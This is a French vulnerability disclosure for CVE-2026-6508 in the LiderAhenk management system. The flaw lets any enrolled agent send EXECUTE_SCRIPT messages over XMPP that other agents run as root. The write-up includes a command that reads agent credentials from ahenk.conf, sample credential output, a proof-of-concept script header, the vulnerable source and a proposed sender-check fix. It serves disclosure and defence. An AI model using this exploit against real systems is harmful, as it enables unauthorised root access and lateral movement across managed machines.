
CVE-2026-6508 Vulnérabilité de sécurité critique dans l'architecture du système de gestion centralisé LiderAhenk, permettant à tous les clients entre les unités terminales (agents) d'exécuter du code avec les privilèges 'root' sur les uns les autres (RCE non autorisée et mouvement latéral).
EvilAhenk est une vulnérabilité de sécurité critique dans l'architecture du système de gestion centralisée LiderAhenk, permettant à tous les clients (agents) d'exécuter du code avec les privilèges 'root' sur les autres (Unauthorized RCE & Lateral Movement).
Dans LiderAhenk, le panneau de gestion/serveur central envoie des messages de tâches et de politiques aux clients via XMPP.
ahenk sur les clients se connectent également à la même infrastructure XMPP,EXECUTE_POLICY, EXECUTE_TASK ou EXECUTE_SCRIPT au client cible,Ainsi, XMPP est ici le canal de transport du trafic de gestion. Les commandes du panneau central sont normalement envoyées aux clients via ce canal.
Flux attendu :
Panneau de gestion Lider/Ahenk -> Serveur XMPP -> Agent cible
Flux vulnérable :
ct-2 est un client valide connecté au même serveur XMPPct-2 envoie un message EXECUTE_SCRIPT via le serveur XMPP en ciblant le JID de ct-1ct-1ct-1 exécute la commande sans vérifier que le message provient bien de lider_sunucuahenk.service s'exécute en tant que rootct-2 ou un autre compte XMPP -> Serveur XMPP -> Agent ct-1 -> Commande root
Autrement dit, nous ne piratons pas la couche XMPP. Le serveur XMPP effectue un routage normal des messages. Le problème est que l'agent Ahenk côté ct-1 ne vérifie pas si le message entrant provient réellement d'un compte de gestion autorisé.
pip install slixmpp
Les informations suivantes sont collectées à partir d'un client compromis et connecté au système de gestion centralisé :
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
Exemple de sortie ;
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
Nous mettons à jour le fichier main.py selon les informations obtenues, domaine im.liderahenk.org, uid cible pardus-ct-1
- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Cible par défaut : `[email protected]`
La commande à exécuter sur la machine victime peut être modifiée en changeant la variable COMMAND.
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
Dans repos/ahenk/src/base/messaging/messenger.py, le message entrant est traité uniquement en fonction du champ type. Il n'y a pas de vérification de l'expéditeur autorisé pour msg['from'] :
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
Dans repos/ahenk/src/base/execution/execution_manager.py, EXECUTE_SCRIPT déclenche directement l'exécution de la commande :
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
Lorsque ces deux parties se combinent, l'effet est le suivant :
EXECUTE_SCRIPT sans vérifier l'expéditeurCorrectif de conception possible ;
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))